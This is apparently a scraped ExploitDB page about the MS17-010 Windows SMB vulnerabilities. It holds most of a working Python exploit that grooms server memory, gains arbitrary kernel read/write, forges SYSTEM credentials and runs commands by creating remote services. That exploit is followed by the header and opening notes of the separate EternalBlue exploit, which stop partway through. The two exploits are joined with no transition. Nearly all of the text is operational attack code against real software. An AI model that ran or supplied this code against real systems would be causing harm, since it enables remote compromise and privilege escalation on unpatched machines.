# set trans1.InData to &trans2
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# modify trans2 mid
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
return read_data[8:] # no need to return parameter
def write_data(conn, info, write_addr, write_data):
# trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
trans_param = pack('<HH', fid, 0) # param for NT_RENAME
# fill large pagedpool holes (maybe no need)
for i in range(numFill):
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
mid_ntrename = conn.next_mid()
# first GROOM, for leaking next BRIDE transaction
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
# second GROOM, for controlling next BRIDE transaction
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
reqs = []
for i in range(12):
mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
# expected transactions alignment ("Frag" pool is not shown)
#
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
# +-------------------------------+----------------+-------------------------------+----------------+
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
# +-------------------------------+----------------+-------------------------------+----------------+
#
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
# From leaked transaction, we get
# - leaked transaction address from InParameter or InData
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
# With these information, we can verify the transaction aligment from displacement.
leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
#open('leak.dat', 'wb').write(leakData)
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
print('Not found Frag pool tag in leak data')
return None
# ================================
# verify leak data
# ================================
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
# check pool tag and size value in buffer header
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
print('No transaction struct in leak data')
return None
leakTrans = leakData[leakTransOffset:]
ptrf = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InParam: 0x{:x}'.format(inparam_value))
print('MID: 0x{:x}'.format(leak_mid))
next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
return None
# trans1: leak transaction
# trans2: next transaction
return {
'connection': connection_addr,
'session': session_addr,
'next_page_addr': next_page_addr,
'trans1_mid': leak_mid,
'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
}
def exploit_matched_pairs(conn, pipe_name, info):
# for Windows 7/2008 R2 and later
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info.update(leak_frag_size(conn, tid, fid))
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
# groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
# groom paramters and data is alignment by 8 because it is NT_TRANS
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4)
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# bride paramters and data is alignment by 4 because it is TRANS
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
# ================================
# try align pagedpool and leak info until satisfy
# ================================
leakInfo = None
# max attempt: 10
for i in range(10):
reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid, info)
if leakInfo is not None:
break
print('leak failed... try again')
conn.close(tid, fid)
conn.disconnect_tree(tid)
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
if leakInfo is None:
return False
info['fid'] = fid
info.update(leakInfo)
# ================================
# shift transGroom.Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
# maxParameterCount (0x1000), trans name (4), param (4)
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False
print('success controlling groom transaction')
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed
# I will avoid memory leak
# ================================
# modify trans1 struct to be used for arbitrary read/write
# ================================
print('modify trans1 struct for arbitrary read/write')
fmt = info['PTR_FMT']
# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
# modify trans2.mid
info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
return True
def exploit_fish_barrel(conn, pipe_name, info):
# for Windows Vista/2008 and earlier
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info['fid'] = fid
if info['os'] == 'WIN7' and 'arch' not in info:
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info.update(leak_frag_size(conn, tid, fid))
if 'arch' in info:
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
else:
# do not know target architecture
# this case is only for Windows 2003
# try offset of 64 bit then 32 bit because no target architecture
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
# ================================
# groom packets
# ================================
# sum of transaction name, parameters and data length is 0x1000
# paramterCount = 0x100-TRANS_NAME_LEN
print('Groom packets')
trans_param = pack('<HH', info['fid'], 0)
for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
# expected transactions alignment
#
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# trans1 trans2
# ================================
# shift transaction Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
# ================================
# Dangerous operation: attempt to control one transaction
# ================================
# Note: POOL_ALIGN value is same as heap alignment value
success = False
for tinfo in attempt_list:
print('attempt controlling next transaction on ' + tinfo['ARCH'])
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() == 0x10002: # invalid SMB
print('success controlling one transaction')
success = True
if 'arch' not in info:
print('Target is '+tinfo['ARCH'])
info['arch'] = tinfo['ARCH']
info.update(OS_ARCH_INFO[info['os']][info['arch']])
break
if recvPkt.getNTStatus() != 0:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
if not success:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
# because of this unfreed memory chunk. I will avoid it.
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
# transactions (do not know the address).
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
# we also modify HIDWORD of InParameter to 0xffffffff.
print('modify parameter count to 0xffffffff to be able to write backward')
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
# modify paramterCount of first transaction
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
# restore trans2.InParameters pointer before leaking next transaction
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
# ================================
# leak transaction
# ================================
print('leak next transaction')
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
conn.send_nt_trans_secondary(mid=special_mid)
leakData = conn.recv_transaction_data(special_mid, 0x100)
leakData = leakData[4:] # remove param
#open('leak.dat', 'wb').write(leakData)
# check heap chunk size value in leak data
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
print('chunk size is wrong')
return False
# extract leak transaction data and make next transaction to be trans2
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData[leakTranOffset:]
fmt = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(trans2_mid))
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print('TRANS1: 0x{:x}'.format(trans1_addr))
print('TRANS2: 0x{:x}'.format(trans2_addr))
# ================================
# modify trans struct to be used for arbitrary read/write
# ================================
print('modify transaction struct for arbitrary read/write')
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
# Note: HIDWORD of trans1.InParameter is still 0xffffffff
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
# modify trans1.mid
trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
info.update({
'connection': connection_addr,
'session': session_addr,
'trans1_mid': trans1_mid,
'trans1_addr': trans1_addr,
'trans2_mid': trans2_mid,
'trans2_addr': trans2_addr,
})
return True
def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
# SID_SYSTEM and SID_ADMINISTRATORS must be added
sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
# - user has no attribute (0)
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0, 0xe, 7, 7 ]
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = ''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
return fakeUserAndGroupCount, fakeUserAndGroups
def exploit(target, pipe_name):
conn = MYSMB(target)
# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10"):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows Server 2003 "):
info['os'] = 'WIN2K3'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.1"):
info['os'] = 'WINXP'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows XP "):
info['os'] = 'WINXP'
info['arch'] = 'x64'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.0"):
info['os'] = 'WIN2K'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
else:
print('This exploit does not support this target')
sys.exit()
if pipe_name is None:
pipe_name = find_named_pipe(conn)
if pipe_name is None:
print('Not found accessible named pipe')
return False
print('Using named pipe: '+pipe_name)
if not info['method'](conn, pipe_name, info):
return False
# Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================
# Modify this SMB session to be SYSTEM
# ================================
fmt = info['PTR_FMT']
print('make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
# read session struct to get SecurityContext address
sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
# find the token and modify it
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
else:
pctxtDataAddr = secCtxAddr
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
print('overwriting token UserAndGroups')
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
print('overwriting session security context')
# see FAKE_SECCTX detail at top of the file
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
# ================================
# do whatever we want as SYSTEM over this SMB connection
# ================================
try:
smb_pwn(conn, info['arch'])
except:
pass
# restore SecurityContext/Token
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(conn.get_tid())
conn.logoff()
conn.get_socket().close()
return True
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
# based on impacket/examples/serviceinstall.py
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.letters) for i in range(4)])
# Setup up a DCE SMBTransport with the connection already in place
rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svcHandle = None
try:
print("Opening SVCManager on %s....." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e # Unexpected error
else:
# It exists, remove it
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print('Creating service %s.....' % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
# Start service
try:
print('Starting service %s.....' % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
#print('Stoping service %s.....' % service_name)
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception as e:
print(str(e))
print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
print("ServiceExec Error on: %s" % conn.get_remote_host())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
if len(sys.argv) < 2:
print("{} <ip> [pipe_name]".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
exploit(target, pipe_name)
print('Done')
ExploitDB
remote windows Verified
Source
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
By sleepya
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
python3 42031.pyCode py
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
EDB Note: Shellcode
- x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm
- x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm
Tested on:
- Windows 7 SP1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x86
- Windows 2008 SP1 x64
- Windows 2008 SP1 x86
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
Bug detail:
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- The exploit also use other 2 bugs (see details in BUG.txt)
- Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
- Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
######
Exploit info:
- I do not reverse engineer any x86 binary so I do not know about exact offset.
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
This memory page is executable on Windows 7 and Wndows 2008.
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
- The exploit trick is same as NSA exploit
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
srvnet buffer info:
- srvnet buffer contains a pointer to another struct and MDL about received buffer
- Controlling MDL values results in arbitrary write
- Controlling pointer to fake struct results in code execution because there is pointer to function
- A srvnet buffer is created after target receiving first 4 bytes
- First 4 bytes contains length of SMB message
- The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
- If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
- Memory leak is ok to be ignored
Shellcode note:
- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL
- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL)
- On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082)
- IA32_LSTAR MSR scope is core/thread/unique depended on CPU model
- On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
get call because it is called on other processors
- Shellcode should be aware of double overwriting system call target address when using hijacking system call method
- Then, using APC in Process context to get code execution in userland (ring 3)
#E-DB Note: https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a
#E-DB Note: https://github.com/worawit/MS17-010/blob/eafb47d715fe38045c9ea6dc4cb75ca0ef5487ce/eternalblue_exploit7.py
'''
# Note: see how to craft FEALIST in eternalblue_poc.py
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
